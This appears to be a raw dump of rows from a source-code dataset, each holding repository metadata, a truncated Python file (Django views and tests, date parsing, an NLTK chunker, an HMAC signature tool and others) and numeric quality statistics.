] | null | null | null | src/app/utils/string.py | meyer-net/pyflink-framework.osteam.base | e35cf6d5a4293eaf7330a733f3e6f35f4789623c | [
"MIT"
] | 1 | 2020-04-22T08:53:46.000Z | 2020-04-22T08:53:46.000Z | # -- coding: UTF-8
class String(object):
def __init__(self):
super(String, self).__init__()
'''
类名标准化
'''
def class_name_normalize(self, class_name):
part_list = []
for item in class_name.split("_"):
part_list.append("{}{}".format(item[0].upper(), item[1... | 25.266667 | 78 | 0.530343 | 43 | 379 | 4.302326 | 0.627907 | 0.145946 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011278 | 0.298153 | 379 | 15 | 79 | 25.266667 | 0.684211 | 0.042216 | 0 | 0 | 0 | 0 | 0.014663 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a53297a29f41369c2fc2a2e92bcadad2a1cd0faf | 9,966 | py | Python | build/lib.linux-x86_64-2.7_ucs4/mx/DateTime/ISO.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | build/lib.linux-x86_64-2.7_ucs4/mx/DateTime/ISO.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | build/lib.linux-x86_64-2.7_ucs4/mx/DateTime/ISO.py | mkubux/egenix-mx-base | 3e6f9186334d9d73743b0219ae857564c7208247 | [
"eGenix"
] | null | null | null | """ This module provides a set of constructors and routines to convert
between DateTime[Delta] instances and ISO representations of date
and time.
Note: Timezones are only interpreted by ParseDateTimeGMT(). All
other constructors silently ignore the time zone information.
Copyright (c) 1998-2000, ... | 28.232295 | 78 | 0.616396 | 1,347 | 9,966 | 4.512992 | 0.164811 | 0.01974 | 0.034216 | 0.024182 | 0.583649 | 0.548939 | 0.519658 | 0.492351 | 0.492351 | 0.453858 | 0 | 0.024527 | 0.26771 | 9,966 | 352 | 79 | 28.3125 | 0.808441 | 0.024082 | 0 | 0.613953 | 0 | 0 | 0.09259 | 0.007515 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.009302 | 0.009302 | null | null | 0.009302 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a53556e93e0bdd6cf21ccc8be26e03130064d64a | 5,309 | py | Python | tests/test_accounts.py | thesus/claypot | ce6871bd2de7a01c31448323753168115114087c | [
"MIT"
] | null | null | null | tests/test_accounts.py | thesus/claypot | ce6871bd2de7a01c31448323753168115114087c | [
"MIT"
] | null | null | null | tests/test_accounts.py | thesus/claypot | ce6871bd2de7a01c31448323753168115114087c | [
"MIT"
] | null | null | null | import pytest
from django.urls import reverse
from django.test import override_settings
from django.contrib.auth import authenticate
@pytest.mark.django_db
def test_login(api_client, django_user_model):
"""Tests the ability to login."""
username = "user"
password = "userpassword"
user = django_user... | 27.507772 | 86 | 0.645319 | 648 | 5,309 | 5.132716 | 0.217593 | 0.078473 | 0.081179 | 0.086591 | 0.594107 | 0.53187 | 0.434155 | 0.400782 | 0.330728 | 0.262778 | 0 | 0.01672 | 0.233942 | 5,309 | 192 | 87 | 27.651042 | 0.801082 | 0.135995 | 0 | 0.536 | 0 | 0 | 0.139238 | 0.017625 | 0 | 0 | 0 | 0 | 0.208 | 1 | 0.056 | false | 0.112 | 0.032 | 0 | 0.088 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a539c03f1559c0cb02ad04dfca283b2e99e15c10 | 362 | py | Python | messier_objects/views.py | DanielPDWalker/Astrophoto | 9a7ee59deb291617baa3ab8724b8ce5970e6ea9f | [
"MIT"
] | null | null | null | messier_objects/views.py | DanielPDWalker/Astrophoto | 9a7ee59deb291617baa3ab8724b8ce5970e6ea9f | [
"MIT"
] | 12 | 2020-07-26T06:20:22.000Z | 2022-03-12T00:43:09.000Z | messier_objects/views.py | DanielPDWalker/Astrophoto-API | 9a7ee59deb291617baa3ab8724b8ce5970e6ea9f | [
"MIT"
] | null | null | null | from rest_framework import viewsets, permissions
from messier_objects import serializers, models
class MessierViewSet(viewsets.ModelViewSet):
"""Messier Object API View"""
serializer_class = serializers.MessierSerializer
queryset = models.MessierObject.objects.all()
permission_classes = (
per... | 27.846154 | 52 | 0.770718 | 33 | 362 | 8.333333 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160221 | 362 | 12 | 53 | 30.166667 | 0.904605 | 0.063536 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
a53fc0be336ea6ad0f0c4d26a91c1ed745c86270 | 398 | py | Python | setup.py | humantech/smush.py | f722c89ae2d9405ac0c183224fdcd59dd4246944 | [
"MIT"
] | null | null | null | setup.py | humantech/smush.py | f722c89ae2d9405ac0c183224fdcd59dd4246944 | [
"MIT"
] | null | null | null | setup.py | humantech/smush.py | f722c89ae2d9405ac0c183224fdcd59dd4246944 | [
"MIT"
] | null | null | null | from distutils.core import setup
setup(name='Smush',
version='1.0',
description='Lossless image optimiser script',
url='https://github.com/thebeansgroup/smush.py',
platforms='OS Independent',
keywords="image optimize lossless",
scripts=['bin/smush_it'],
packages=['smush', 'smu... | 33.166667 | 73 | 0.678392 | 45 | 398 | 5.933333 | 0.8 | 0.11236 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006098 | 0.175879 | 398 | 12 | 74 | 33.166667 | 0.807927 | 0 | 0 | 0 | 0 | 0 | 0.43609 | 0.06015 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a54633e17d7fbb56c1a0df03249c89028178ec7b | 190 | py | Python | SQLITE3 & python/SQLITE3 update data from database.py | OSAMAMOHAMED1234/python_projects | fb4bc7356847c3f46df690a9386cf970377a6f7c | [
"MIT"
] | null | null | null | SQLITE3 & python/SQLITE3 update data from database.py | OSAMAMOHAMED1234/python_projects | fb4bc7356847c3f46df690a9386cf970377a6f7c | [
"MIT"
] | null | null | null | SQLITE3 & python/SQLITE3 update data from database.py | OSAMAMOHAMED1234/python_projects | fb4bc7356847c3f46df690a9386cf970377a6f7c | [
"MIT"
] | null | null | null | import sqlite3
con = sqlite3.connect("database.db")
c = con.cursor()
c.execute("UPDATE names SET fname='OSAMA', lname='MOHAMED', age=22, salary=5000 WHERE age=20")
con.commit()
con.close()
| 23.75 | 94 | 0.715789 | 30 | 190 | 4.533333 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058824 | 0.105263 | 190 | 7 | 95 | 27.142857 | 0.741176 | 0 | 0 | 0 | 0 | 0.166667 | 0.484211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a55af0b704a4ce32a2e43a1d3948451e253423f2 | 334 | py | Python | meiduo_mall/meiduo_mall/apps/orders/urls.py | Nicholas-violet/meiduo_project_preview | 3c17fa45d11a8889710ca7a522ac047bb99b21b8 | [
"MIT"
] | 2 | 2020-06-19T11:53:02.000Z | 2020-06-24T06:25:00.000Z | meiduo_mall/meiduo_mall/apps/orders/urls.py | Nicholas-violet/meiduo_project_preview | 3c17fa45d11a8889710ca7a522ac047bb99b21b8 | [
"MIT"
] | null | null | null | meiduo_mall/meiduo_mall/apps/orders/urls.py | Nicholas-violet/meiduo_project_preview | 3c17fa45d11a8889710ca7a522ac047bb99b21b8 | [
"MIT"
] | null | null | null | from django.urls import path,re_path
from . import views
# urlpatterns是被Django自动识别的路由列表变量:定义该应用的所有路由信息
urlpatterns = [
# 函数视图路由语法:
# path('网络地址正则表达式', 函数视图名),
# 订单确认
re_path(r'^orders/settlement/$', views.OrderSettlementView.as_view()),
# 订单提交
re_path(r'^orders/commit/$', views.OrderCommitView... | 25.692308 | 74 | 0.703593 | 37 | 334 | 6.216216 | 0.621622 | 0.078261 | 0.06087 | 0.113043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155689 | 334 | 13 | 75 | 25.692308 | 0.815603 | 0.266467 | 0 | 0 | 0 | 0 | 0.15 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a55b3814136e22e453c8afa8c9dd21b989ed96dd | 857 | py | Python | dapricot/auth/migrations/0002_auto_20190602_1858.py | softapr/django_apricot | 911b6627a5ffaf3f7b13a099ca129f3a2ffda558 | [
"BSD-3-Clause"
] | null | null | null | dapricot/auth/migrations/0002_auto_20190602_1858.py | softapr/django_apricot | 911b6627a5ffaf3f7b13a099ca129f3a2ffda558 | [
"BSD-3-Clause"
] | null | null | null | dapricot/auth/migrations/0002_auto_20190602_1858.py | softapr/django_apricot | 911b6627a5ffaf3f7b13a099ca129f3a2ffda558 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.2.1 on 2019-06-02 18:58
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('daauth', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='permissionsmixin',
options={},
... | 25.969697 | 100 | 0.556593 | 77 | 857 | 6.103896 | 0.662338 | 0.051064 | 0.131915 | 0.07234 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036021 | 0.31972 | 857 | 32 | 101 | 26.78125 | 0.770154 | 0.052509 | 0 | 0.384615 | 1 | 0 | 0.104938 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.038462 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a55f53f0be49a0b321987cd51bf4465fd768df66 | 392 | py | Python | ch7_Extracting_Information_from_Text/chinker.py | MingjunZhou/nltk_book | 62eef0f5a1855e3d6c523a8d58e8725f459d2fbd | [
"BSD-3-Clause"
] | 1 | 2015-01-06T11:37:14.000Z | 2015-01-06T11:37:14.000Z | ch7_Extracting_Information_from_Text/chinker.py | MingjunZhou/nltk_book | 62eef0f5a1855e3d6c523a8d58e8725f459d2fbd | [
"BSD-3-Clause"
] | null | null | null | ch7_Extracting_Information_from_Text/chinker.py | MingjunZhou/nltk_book | 62eef0f5a1855e3d6c523a8d58e8725f459d2fbd | [
"BSD-3-Clause"
] | null | null | null | import nltk
grammar = r"""
NP:
{<.*>+} # Chunk everything
}<VBD|IN>+{ # Chink sequences of VBD and IN
"""
sentence = [("the", "DT"), ("little", "JJ"), ("yellow", "JJ"),
("dog", "NN"), ("barked", "VBD"), ("at", "IN"),
("the", "DT"), ... | 28 | 64 | 0.423469 | 40 | 392 | 4.15 | 0.7 | 0.060241 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.331633 | 392 | 13 | 65 | 30.153846 | 0.633588 | 0 | 0 | 0 | 0 | 0 | 0.477041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a56885a39dbbbead3dafd870f9aae47fc24d841e | 1,739 | py | Python | util/sigen.py | cubicdaiya/ngx_access_token | 27bab29e718684b8b02ed3153cdecac83b66b2bf | [
"MIT"
] | 5 | 2015-12-21T16:29:02.000Z | 2019-03-19T08:13:51.000Z | util/sigen.py | RekGRpth/ngx_access_token | 27bab29e718684b8b02ed3153cdecac83b66b2bf | [
"MIT"
] | null | null | null | util/sigen.py | RekGRpth/ngx_access_token | 27bab29e718684b8b02ed3153cdecac83b66b2bf | [
"MIT"
] | 2 | 2016-04-14T23:39:56.000Z | 2019-03-19T08:13:52.000Z | # -*- coding: utf-8 -*-
#
# Copyright (C) 2013 Tatsuhiko Kubo <cubicdaiya@gmail.com>
#
# signature generator
#
import sys
import hmac
from hashlib import sha1
import base64
import binascii
import argparse
def build_parser():
parser = argparse.ArgumentParser(description='Signature Generator', add_help=False)
p... | 32.811321 | 124 | 0.608396 | 224 | 1,739 | 4.611607 | 0.357143 | 0.060987 | 0.115198 | 0.10455 | 0.242014 | 0.106486 | 0.061955 | 0 | 0 | 0 | 0 | 0.011398 | 0.243243 | 1,739 | 52 | 125 | 33.442308 | 0.773556 | 0.056354 | 0 | 0.102564 | 0 | 0 | 0.142595 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.153846 | null | null | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a56c92342f31e1936472ed752e5069e6745f8cfc | 699 | py | Python | game_hub/game_hub/accounts/urls.py | ivailoiliev84/GameHub | 2c3ef225da9e2e0177c2cab781328ded73ad8720 | [
"MIT"
] | null | null | null | game_hub/game_hub/accounts/urls.py | ivailoiliev84/GameHub | 2c3ef225da9e2e0177c2cab781328ded73ad8720 | [
"MIT"
] | null | null | null | game_hub/game_hub/accounts/urls.py | ivailoiliev84/GameHub | 2c3ef225da9e2e0177c2cab781328ded73ad8720 | [
"MIT"
] | null | null | null | from django.urls import path
from game_hub.accounts.views import RegisterUser, logout_user, ProfilePageView, \
LoginUserView, ChangePasswordView, ProfileEditView, ProfileDeleteView
urlpatterns = (
path('register/', RegisterUser.as_view(), name='register'),
path('log-in/', LoginUserView.as_view(), name='lo... | 43.6875 | 86 | 0.719599 | 80 | 699 | 6.175 | 0.425 | 0.072874 | 0.121457 | 0.103239 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111588 | 699 | 15 | 87 | 46.6 | 0.795491 | 0 | 0 | 0 | 0 | 0 | 0.226037 | 0.061516 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a56cd9842da7d235a104071c8d40481b9ff9bde5 | 1,364 | py | Python | goose/network.py | frnsys/python-goose | 7eca5694e8f0d8e45c986b52e904fa6baaa6e85e | [
"Apache-2.0"
] | 1 | 2018-04-19T06:48:16.000Z | 2018-04-19T06:48:16.000Z | goose/network.py | frnsys/python-goose | 7eca5694e8f0d8e45c986b52e904fa6baaa6e85e | [
"Apache-2.0"
] | null | null | null | goose/network.py | frnsys/python-goose | 7eca5694e8f0d8e45c986b52e904fa6baaa6e85e | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""\
This is a python port of "Goose" orignialy licensed to Gravity.com
under one or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.
Python port was written by Xavier Grangier for Recrutae
Gravity.co... | 27.28 | 72 | 0.710411 | 191 | 1,364 | 5.026178 | 0.591623 | 0.0625 | 0.027083 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005655 | 0.222141 | 1,364 | 49 | 73 | 27.836735 | 0.899152 | 0.625367 | 0 | 0.235294 | 0 | 0 | 0.020619 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.176471 | false | 0.117647 | 0.176471 | 0 | 0.529412 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a57cdedb5dac53e59a413dc3b21f8571b80089a7 | 776 | py | Python | Heart_Score.py | alokm014/Heart-Score | 44d862c445b4c0f90b73d7496f78c11a188e251f | [
"MIT"
] | 1 | 2019-12-25T17:02:30.000Z | 2019-12-25T17:02:30.000Z | Heart_Score.py | alokm014/Heart-Score | 44d862c445b4c0f90b73d7496f78c11a188e251f | [
"MIT"
] | null | null | null | Heart_Score.py | alokm014/Heart-Score | 44d862c445b4c0f90b73d7496f78c11a188e251f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[1]:
import pandas as pd
from matplotlib.pyplot import plot, scatter, show
from numpy import NaN, Inf, arange, isscalar, asarray, array
# In[2]:
get_ipython().magic(u'matplotlib inline')
# In[3]:
df=pd.read_csv("Heart_Rate.csv")
# In[4]:
df.info()
# In[5]:
si... | 11.938462 | 78 | 0.641753 | 133 | 776 | 3.631579 | 0.503759 | 0.086957 | 0.049689 | 0.057971 | 0.089027 | 0.089027 | 0.089027 | 0.089027 | 0 | 0 | 0 | 0.038095 | 0.188144 | 776 | 64 | 79 | 12.125 | 0.728571 | 0.115979 | 0 | 0 | 0 | 0 | 0.071111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.047619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a580cb1b1aec9ce853e31bbb6c1dcf39c5415edf | 1,922 | py | Python | DaPy/methods/classifiers/classifier.py | huihui7987/DaPy | b2bf72707ffcc92d05af1ac890e0786d5787816e | [
"RSA-MD"
] | 552 | 2018-03-14T07:40:44.000Z | 2022-03-30T19:15:23.000Z | DaPy/methods/classifiers/classifier.py | huihui7987/DaPy | b2bf72707ffcc92d05af1ac890e0786d5787816e | [
"RSA-MD"
] | 12 | 2018-03-19T10:29:56.000Z | 2021-12-18T04:47:29.000Z | DaPy/methods/classifiers/classifier.py | huihui7987/DaPy | b2bf72707ffcc92d05af1ac890e0786d5787816e | [
"RSA-MD"
] | 49 | 2018-03-13T14:27:00.000Z | 2022-02-26T09:52:11.000Z | from DaPy.core import Series, SeriesSet
from DaPy.core import is_seq
from copy import copy
def proba2label(seq, labels):
if hasattr(seq, 'shape') is False:
seq = SeriesSet(seq)
if seq.shape[1] > 1:
return clf_multilabel(seq, labels)
return clf_binlabel(seq, labels)
def clf_multilabel(seq,... | 27.855072 | 90 | 0.599376 | 255 | 1,922 | 4.4 | 0.356863 | 0.032086 | 0.029412 | 0.032086 | 0.118538 | 0.118538 | 0.101604 | 0 | 0 | 0 | 0 | 0.011687 | 0.287721 | 1,922 | 68 | 91 | 28.264706 | 0.807889 | 0.186785 | 0 | 0 | 0 | 0 | 0.036325 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 1 | 0.235294 | false | 0 | 0.088235 | 0.058824 | 0.588235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.